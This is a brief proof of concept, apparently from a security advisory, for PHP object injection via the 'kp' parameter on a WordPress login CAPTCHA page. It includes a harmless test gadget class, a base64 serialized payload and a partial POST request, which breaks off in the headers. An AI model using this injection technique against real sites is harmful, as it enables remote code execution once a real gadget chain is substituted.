To simulate a gadget chain, put the following code in a plugin

class Evil {
  public function __wakeup() : void {
    die("Arbitrary deserialization");

On a page where the request is blocked and the second challenge is set to a CAPTCHA (such as reCAPTCHA), send dummy data, intercept it and change the kp parameter with the following payload: Tzo0OiJFdmlsIjowOnt9Ow== (which is the base64 of O:4:"Evil":0:{};)

POST /wp-login.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 176
Connection: close
Upgrade-Insecure-Requests: 1